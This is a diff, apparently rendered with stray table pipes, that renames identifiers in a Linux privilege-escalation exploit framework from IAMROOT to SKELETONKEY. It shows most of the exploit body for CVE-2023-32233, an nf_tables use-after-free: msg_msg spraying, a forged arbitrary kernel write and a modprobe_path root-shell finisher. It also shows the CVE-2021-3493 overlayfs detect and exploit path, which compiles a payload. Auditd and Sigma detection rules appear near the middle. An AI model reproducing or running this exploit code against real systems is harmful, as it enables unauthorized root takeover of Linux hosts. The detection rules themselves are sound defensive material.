time_t now = time(NULL);
|
time_t now = time(NULL);
|
||||||
char ts[64];
|
char ts[64];
|
||||||
strftime(ts, sizeof ts, "%Y-%m-%dT%H:%M:%SZ", gmtime(&now));
|
strftime(ts, sizeof ts, "%Y-%m-%dT%H:%M:%SZ", gmtime(&now));
|
||||||
fprintf(f, "%s nft_set_uaf primitive fired: cg512 active %ld→%ld; "
|
fprintf(f, "%s nft_set_uaf primitive fired: cg512 active %ld→%ld; "
|
||||||
"msg_msg sprayed=%d tag=%s\n",
|
"msg_msg sprayed=%d tag=%s\n",
|
||||||
ts, before, after, sprayed, IAMROOT_TAG);
|
ts, before, after, sprayed, SKELETONKEY_TAG);
|
||||||
fclose(f);
|
fclose(f);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -631,7 +631,7 @@ static void log_breadcrumb(long before, long after, int sprayed)
|
|||||||
* - the freed slot must be claimed by our spray, not by an
|
* - the freed slot must be claimed by our spray, not by an
|
||||||
* unrelated kernel allocator — race-dependent
|
* unrelated kernel allocator — race-dependent
|
||||||
* - the finisher's sentinel post-check is the source of truth;
|
* - the finisher's sentinel post-check is the source of truth;
|
||||||
* missed writes return IAMROOT_EXPLOIT_FAIL, not fake success
|
* missed writes return SKELETONKEY_EXPLOIT_FAIL, not fake success
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
/* Offset of `data` pointer in nft_set header on lts-6.1.x/6.2.x builds
|
/* Offset of `data` pointer in nft_set header on lts-6.1.x/6.2.x builds
|
||||||
@@ -659,7 +659,7 @@ static int spray_forged_set_msgs(struct nft_arb_ctx *c, uintptr_t kaddr, int n)
|
|||||||
struct ipc_payload m;
|
struct ipc_payload m;
|
||||||
memset(&m, 0, sizeof m);
|
memset(&m, 0, sizeof m);
|
||||||
m.mtype = 0x5345544146; /* "FATESF" reversed tag */
|
m.mtype = 0x5345544146; /* "FATESF" reversed tag */
|
||||||
memcpy(m.buf, IAMROOT_TAG "_FORGE", sizeof IAMROOT_TAG + 5);
|
memcpy(m.buf, SKELETONKEY_TAG "_FORGE", sizeof SKELETONKEY_TAG + 5);
|
||||||
|
|
||||||
/* Forge `set->data = kaddr` at the documented offset. msg_msg
|
/* Forge `set->data = kaddr` at the documented offset. msg_msg
|
||||||
* eats ~0x30 bytes at the head as its own header; the payload
|
* eats ~0x30 bytes at the head as its own header; the payload
|
||||||
@@ -756,21 +756,21 @@ static int nft_set_uaf_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
|||||||
* Exploit body
|
* Exploit body
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t nft_set_uaf_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
if (!ctx->authorized) {
|
if (!ctx->authorized) {
|
||||||
fprintf(stderr, "[-] nft_set_uaf: refusing without --i-know gate\n");
|
fprintf(stderr, "[-] nft_set_uaf: refusing without --i-know gate\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
if (geteuid() == 0) {
|
||||||
if (!ctx->json)
|
if (!ctx->json)
|
||||||
fprintf(stderr, "[i] nft_set_uaf: already running as root\n");
|
fprintf(stderr, "[i] nft_set_uaf: already running as root\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Re-confirm vulnerability. */
|
/* Re-confirm vulnerability. */
|
||||||
iamroot_result_t pre = nft_set_uaf_detect(ctx);
|
skeletonkey_result_t pre = nft_set_uaf_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] nft_set_uaf: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] nft_set_uaf: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
@@ -778,7 +778,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
|||||||
#ifndef __linux__
|
#ifndef __linux__
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
fprintf(stderr, "[-] nft_set_uaf: non-Linux host — exploit unavailable\n");
|
fprintf(stderr, "[-] nft_set_uaf: non-Linux host — exploit unavailable\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
#else
|
#else
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
@@ -795,34 +795,34 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
|||||||
/* --- --full-chain path: in-process (no fork) so the finisher's
|
/* --- --full-chain path: in-process (no fork) so the finisher's
|
||||||
* modprobe_path trigger shares our userns+netns+sock. */
|
* modprobe_path trigger shares our userns+netns+sock. */
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
struct iamroot_kernel_offsets koff;
|
struct skeletonkey_kernel_offsets koff;
|
||||||
iamroot_offsets_resolve(&koff);
|
skeletonkey_offsets_resolve(&koff);
|
||||||
if (!iamroot_offsets_have_modprobe_path(&koff)) {
|
if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
|
||||||
iamroot_finisher_print_offset_help("nft_set_uaf");
|
skeletonkey_finisher_print_offset_help("nft_set_uaf");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
iamroot_offsets_print(&koff);
|
skeletonkey_offsets_print(&koff);
|
||||||
|
|
||||||
if (enter_unpriv_namespaces() < 0) {
|
if (enter_unpriv_namespaces() < 0) {
|
||||||
fprintf(stderr, "[-] nft_set_uaf: userns entry failed\n");
|
fprintf(stderr, "[-] nft_set_uaf: userns entry failed\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC,
|
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC,
|
||||||
NETLINK_NETFILTER);
|
NETLINK_NETFILTER);
|
||||||
if (sock < 0) {
|
if (sock < 0) {
|
||||||
perror("[-] socket(NETLINK_NETFILTER)");
|
perror("[-] socket(NETLINK_NETFILTER)");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||||
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||||
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
|
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
int rcvbuf = 1 << 20;
|
int rcvbuf = 1 << 20;
|
||||||
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||||
|
|
||||||
uint8_t *batch = calloc(1, 16 * 1024);
|
uint8_t *batch = calloc(1, 16 * 1024);
|
||||||
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
|
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||||
|
|
||||||
struct nft_arb_ctx ac = { .sock = sock, .batch = batch, .qused = 0 };
|
struct nft_arb_ctx ac = { .sock = sock, .batch = batch, .qused = 0 };
|
||||||
for (int i = 0; i < SPRAY_QUEUES; i++) ac.qids[i] = -1;
|
for (int i = 0; i < SPRAY_QUEUES; i++) ac.qids[i] = -1;
|
||||||
@@ -837,10 +837,10 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
|||||||
if (nft_send_batch(sock, batch, blen) < 0) {
|
if (nft_send_batch(sock, batch, blen) < 0) {
|
||||||
fprintf(stderr, "[-] nft_set_uaf: trigger batch failed\n");
|
fprintf(stderr, "[-] nft_set_uaf: trigger batch failed\n");
|
||||||
free(batch); close(sock);
|
free(batch); close(sock);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
iamroot_result_t r = iamroot_finisher_modprobe_path(&koff,
|
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&koff,
|
||||||
nft_set_uaf_arb_write, &ac, !ctx->no_shell);
|
nft_set_uaf_arb_write, &ac, !ctx->no_shell);
|
||||||
|
|
||||||
/* drain whatever queues we created during arb-writes */
|
/* drain whatever queues we created during arb-writes */
|
||||||
@@ -852,7 +852,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
|||||||
|
|
||||||
/* --- primitive-only path: fork-isolated trigger -------------- */
|
/* --- primitive-only path: fork-isolated trigger -------------- */
|
||||||
pid_t child = fork();
|
pid_t child = fork();
|
||||||
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
|
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
|
||||||
if (child == 0) {
|
if (child == 0) {
|
||||||
/* --- CHILD --- */
|
/* --- CHILD --- */
|
||||||
@@ -884,7 +884,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
|||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] nft_set_uaf: pre-sprayed %d msg_msg queues "
|
fprintf(stderr, "[*] nft_set_uaf: pre-sprayed %d msg_msg queues "
|
||||||
"(tag=%s)\n", sprayed, IAMROOT_TAG);
|
"(tag=%s)\n", sprayed, SKELETONKEY_TAG);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Snapshot before. */
|
/* Snapshot before. */
|
||||||
@@ -934,7 +934,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
|||||||
"likely fired (KASAN/oops can manifest as child "
|
"likely fired (KASAN/oops can manifest as child "
|
||||||
"signal)\n", WTERMSIG(status));
|
"signal)\n", WTERMSIG(status));
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
int rc = WEXITSTATUS(status);
|
int rc = WEXITSTATUS(status);
|
||||||
@@ -944,11 +944,11 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
|||||||
" UAF induced + msg_msg spray landed in\n"
|
" UAF induced + msg_msg spray landed in\n"
|
||||||
" kmalloc-cg-512. R/W chain NOT executed\n"
|
" kmalloc-cg-512. R/W chain NOT executed\n"
|
||||||
" (Option B scope).\n"
|
" (Option B scope).\n"
|
||||||
"[i] nft_set_uaf: see /tmp/iamroot-nft_set_uaf.log\n"
|
"[i] nft_set_uaf: see /tmp/skeletonkey-nft_set_uaf.log\n"
|
||||||
" for slab-delta breadcrumb. Pass --full-chain\n"
|
" for slab-delta breadcrumb. Pass --full-chain\n"
|
||||||
" to attempt modprobe_path root-pop.\n");
|
" to attempt modprobe_path root-pop.\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (rc >= 20 && rc <= 25) {
|
if (rc >= 20 && rc <= 25) {
|
||||||
@@ -956,13 +956,13 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[-] nft_set_uaf: trigger setup failed (child rc=%d)\n",
|
fprintf(stderr, "[-] nft_set_uaf: trigger setup failed (child rc=%d)\n",
|
||||||
rc);
|
rc);
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] nft_set_uaf: unexpected child rc=%d\n", rc);
|
fprintf(stderr, "[-] nft_set_uaf: unexpected child rc=%d\n", rc);
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
#endif /* __linux__ */
|
#endif /* __linux__ */
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -970,16 +970,16 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* Cleanup — best-effort drain
|
* Cleanup — best-effort drain
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
static iamroot_result_t nft_set_uaf_cleanup(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t nft_set_uaf_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
/* Best-effort breadcrumb removal. We can't drain msg queues from a
|
/* Best-effort breadcrumb removal. We can't drain msg queues from a
|
||||||
* different process (they live in a private IPC namespace anyway,
|
* different process (they live in a private IPC namespace anyway,
|
||||||
* which exited with the child). */
|
* which exited with the child). */
|
||||||
if (unlink("/tmp/iamroot-nft_set_uaf.log") != 0 && errno != ENOENT) {
|
if (unlink("/tmp/skeletonkey-nft_set_uaf.log") != 0 && errno != ENOENT) {
|
||||||
/* not fatal */
|
/* not fatal */
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
@@ -992,18 +992,18 @@ static const char nft_set_uaf_auditd[] =
|
|||||||
"# transactions that mix NEWSET+DELSET in the same batch. Legitimate\n"
|
"# transactions that mix NEWSET+DELSET in the same batch. Legitimate\n"
|
||||||
"# nft scripts rarely DELSET an anonymous set they just created;\n"
|
"# nft scripts rarely DELSET an anonymous set they just created;\n"
|
||||||
"# tune per env for firewalld/podman noise.\n"
|
"# tune per env for firewalld/podman noise.\n"
|
||||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft_set_uaf-userns\n"
|
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft_set_uaf-userns\n"
|
||||||
"-a always,exit -F arch=b32 -S unshare -k iamroot-nft_set_uaf-userns\n"
|
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nft_set_uaf-userns\n"
|
||||||
"# Watch nfnetlink writes (the trigger batch goes via NETLINK_NETFILTER):\n"
|
"# Watch nfnetlink writes (the trigger batch goes via NETLINK_NETFILTER):\n"
|
||||||
"-a always,exit -F arch=b64 -S sendmsg -F a0!=0 -k iamroot-nft_set_uaf-nft\n"
|
"-a always,exit -F arch=b64 -S sendmsg -F a0!=0 -k skeletonkey-nft_set_uaf-nft\n"
|
||||||
"# msg_msg cross-cache groom: msgsnd bursts on multiple queues:\n"
|
"# msg_msg cross-cache groom: msgsnd bursts on multiple queues:\n"
|
||||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-nft_set_uaf-msgsnd\n"
|
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-nft_set_uaf-msgsnd\n"
|
||||||
"# Canonical post-exploit primitives:\n"
|
"# Canonical post-exploit primitives:\n"
|
||||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nft_set_uaf-priv\n";
|
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft_set_uaf-priv\n";
|
||||||
|
|
||||||
static const char nft_set_uaf_sigma[] =
|
static const char nft_set_uaf_sigma[] =
|
||||||
"title: Possible CVE-2023-32233 nft anonymous-set UAF exploitation\n"
|
"title: Possible CVE-2023-32233 nft anonymous-set UAF exploitation\n"
|
||||||
"id: 23233e7c-iamroot-nft-set-uaf\n"
|
"id: 23233e7c-skeletonkey-nft-set-uaf\n"
|
||||||
"status: experimental\n"
|
"status: experimental\n"
|
||||||
"description: |\n"
|
"description: |\n"
|
||||||
" Detects the canonical exploit shape for the nf_tables anonymous-set\n"
|
" Detects the canonical exploit shape for the nf_tables anonymous-set\n"
|
||||||
@@ -1034,7 +1034,7 @@ static const char nft_set_uaf_sigma[] =
|
|||||||
"level: high\n"
|
"level: high\n"
|
||||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.32233]\n";
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.32233]\n";
|
||||||
|
|
||||||
const struct iamroot_module nft_set_uaf_module = {
|
const struct skeletonkey_module nft_set_uaf_module = {
|
||||||
.name = "nft_set_uaf",
|
.name = "nft_set_uaf",
|
||||||
.cve = "CVE-2023-32233",
|
.cve = "CVE-2023-32233",
|
||||||
.summary = "nf_tables anonymous-set UAF (Sondej+Krysiuk) — primitive + groom",
|
.summary = "nf_tables anonymous-set UAF (Sondej+Krysiuk) — primitive + groom",
|
||||||
@@ -1050,7 +1050,7 @@ const struct iamroot_module nft_set_uaf_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_nft_set_uaf(void)
|
void skeletonkey_register_nft_set_uaf(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&nft_set_uaf_module);
|
skeletonkey_register(&nft_set_uaf_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* nft_set_uaf_cve_2023_32233 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef NFT_SET_UAF_SKELETONKEY_MODULES_H
|
||||||
|
#define NFT_SET_UAF_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module nft_set_uaf_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -14,7 +14,7 @@ Advisory: USN-4915-1 / USN-4916-1 (Canonical, April 2021).
|
|||||||
|
|
||||||
Public PoC: vsh-style userns + overlayfs + xattr injection chain.
|
Public PoC: vsh-style userns + overlayfs + xattr injection chain.
|
||||||
|
|
||||||
## IAMROOT role
|
## SKELETONKEY role
|
||||||
|
|
||||||
Detect parses `/etc/os-release` for `ID=ubuntu`, checks
|
Detect parses `/etc/os-release` for `ID=ubuntu`, checks
|
||||||
`unprivileged_userns_clone` sysctl, and with `--active` performs the
|
`unprivileged_userns_clone` sysctl, and with `--active` performs the
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* overlayfs_cve_2021_3493 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef OVERLAYFS_IAMROOT_MODULES_H
|
|
||||||
#define OVERLAYFS_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module overlayfs_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+29
-29
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* overlayfs_cve_2021_3493 — IAMROOT module
|
* overlayfs_cve_2021_3493 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* Ubuntu-flavor overlayfs lets an unprivileged user mount overlayfs
|
* Ubuntu-flavor overlayfs lets an unprivileged user mount overlayfs
|
||||||
* inside a user namespace, then set file capabilities on a file in
|
* inside a user namespace, then set file capabilities on a file in
|
||||||
@@ -30,12 +30,12 @@
|
|||||||
* 1. /etc/os-release distro == ubuntu (the bug is Ubuntu-specific)
|
* 1. /etc/os-release distro == ubuntu (the bug is Ubuntu-specific)
|
||||||
* 2. Kernel version is below the Ubuntu fix threshold for that
|
* 2. Kernel version is below the Ubuntu fix threshold for that
|
||||||
* release. We don't track per-release Ubuntu kernel version
|
* release. We don't track per-release Ubuntu kernel version
|
||||||
* maps in IAMROOT yet; report VULNERABLE if Ubuntu kernel
|
* maps in SKELETONKEY yet; report VULNERABLE if Ubuntu kernel
|
||||||
* AND uname() version < 5.11 AND unprivileged_userns_clone=1
|
* AND uname() version < 5.11 AND unprivileged_userns_clone=1
|
||||||
* AND overlayfs mountable from userns (active probe).
|
* AND overlayfs mountable from userns (active probe).
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
|
|
||||||
@@ -94,7 +94,7 @@ static int overlayfs_mount_probe(void)
|
|||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) _exit(2);
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) _exit(2);
|
||||||
|
|
||||||
/* Build a minimal overlayfs in /tmp inside the child. */
|
/* Build a minimal overlayfs in /tmp inside the child. */
|
||||||
char base[] = "/tmp/iamroot-ovl-XXXXXX";
|
char base[] = "/tmp/skeletonkey-ovl-XXXXXX";
|
||||||
if (!mkdtemp(base)) _exit(3);
|
if (!mkdtemp(base)) _exit(3);
|
||||||
|
|
||||||
char low[512], up[512], wd[512], mp[512];
|
char low[512], up[512], wd[512], mp[512];
|
||||||
@@ -119,12 +119,12 @@ static int overlayfs_mount_probe(void)
|
|||||||
return WEXITSTATUS(status) == 0 ? 1 : 0;
|
return WEXITSTATUS(status) == 0 ? 1 : 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
struct kernel_version v;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!kernel_version_current(&v)) {
|
||||||
fprintf(stderr, "[!] overlayfs: could not parse kernel version\n");
|
fprintf(stderr, "[!] overlayfs: could not parse kernel version\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Ubuntu-specific bug. Non-Ubuntu kernels are largely immune
|
/* Ubuntu-specific bug. Non-Ubuntu kernels are largely immune
|
||||||
@@ -134,7 +134,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] overlayfs: not Ubuntu — bug is Ubuntu-specific\n");
|
fprintf(stderr, "[+] overlayfs: not Ubuntu — bug is Ubuntu-specific\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* unprivileged_userns_clone gate */
|
/* unprivileged_userns_clone gate */
|
||||||
@@ -144,7 +144,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[+] overlayfs: unprivileged_userns_clone=0 → "
|
fprintf(stderr, "[+] overlayfs: unprivileged_userns_clone=0 → "
|
||||||
"unprivileged exploit unreachable\n");
|
"unprivileged exploit unreachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -161,14 +161,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[!] overlayfs: ACTIVE PROBE CONFIRMED — "
|
fprintf(stderr, "[!] overlayfs: ACTIVE PROBE CONFIRMED — "
|
||||||
"userns overlayfs mount succeeded → VULNERABLE\n");
|
"userns overlayfs mount succeeded → VULNERABLE\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
if (probe == 0) {
|
if (probe == 0) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] overlayfs: active probe denied mount — "
|
fprintf(stderr, "[+] overlayfs: active probe denied mount — "
|
||||||
"likely patched / AppArmor block\n");
|
"likely patched / AppArmor block\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[?] overlayfs: active probe machinery failed\n");
|
fprintf(stderr, "[?] overlayfs: active probe machinery failed\n");
|
||||||
@@ -185,14 +185,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[!] overlayfs: Ubuntu kernel %s in vulnerable range — "
|
fprintf(stderr, "[!] overlayfs: Ubuntu kernel %s in vulnerable range — "
|
||||||
"re-run with --active to confirm\n", v.release);
|
"re-run with --active to confirm\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] overlayfs: Ubuntu kernel %s is newer than typical "
|
fprintf(stderr, "[+] overlayfs: Ubuntu kernel %s is newer than typical "
|
||||||
"affected range\n", v.release);
|
"affected range\n", v.release);
|
||||||
fprintf(stderr, "[i] overlayfs: re-run with --active to empirically test\n");
|
fprintf(stderr, "[i] overlayfs: re-run with --active to empirically test\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Exploit (vsh-style) ----------------------------------------
|
/* ---- Exploit (vsh-style) ----------------------------------------
|
||||||
@@ -278,28 +278,28 @@ static bool which_gcc(char *out_path, size_t outsz)
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t overlayfs_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
/* Re-confirm vulnerable. */
|
/* Re-confirm vulnerable. */
|
||||||
iamroot_result_t pre = overlayfs_detect(ctx);
|
skeletonkey_result_t pre = overlayfs_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] overlayfs: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] overlayfs: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
if (geteuid() == 0) {
|
||||||
fprintf(stderr, "[i] overlayfs: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] overlayfs: already root — nothing to escalate\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
char workdir[] = "/tmp/iamroot-ovl-XXXXXX";
|
char workdir[] = "/tmp/skeletonkey-ovl-XXXXXX";
|
||||||
if (!mkdtemp(workdir)) { perror("mkdtemp"); return IAMROOT_TEST_ERROR; }
|
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
|
||||||
if (!ctx->json) fprintf(stderr, "[*] overlayfs: workdir = %s\n", workdir);
|
if (!ctx->json) fprintf(stderr, "[*] overlayfs: workdir = %s\n", workdir);
|
||||||
|
|
||||||
char gcc[256];
|
char gcc[256];
|
||||||
if (!which_gcc(gcc, sizeof gcc)) {
|
if (!which_gcc(gcc, sizeof gcc)) {
|
||||||
fprintf(stderr, "[-] overlayfs: no gcc/cc — exploit needs to compile a payload\n");
|
fprintf(stderr, "[-] overlayfs: no gcc/cc — exploit needs to compile a payload\n");
|
||||||
rmdir(workdir);
|
rmdir(workdir);
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
char src_path[1100], bin_path[1100];
|
char src_path[1100], bin_path[1100];
|
||||||
@@ -307,10 +307,10 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
|
|||||||
snprintf(bin_path, sizeof bin_path, "%s/payload", workdir);
|
snprintf(bin_path, sizeof bin_path, "%s/payload", workdir);
|
||||||
|
|
||||||
int fd = open(src_path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
|
int fd = open(src_path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
|
||||||
if (fd < 0) { perror("open payload.c"); rmdir(workdir); return IAMROOT_TEST_ERROR; }
|
if (fd < 0) { perror("open payload.c"); rmdir(workdir); return SKELETONKEY_TEST_ERROR; }
|
||||||
if (write(fd, OVERLAYFS_PAYLOAD_SOURCE, sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)
|
if (write(fd, OVERLAYFS_PAYLOAD_SOURCE, sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)
|
||||||
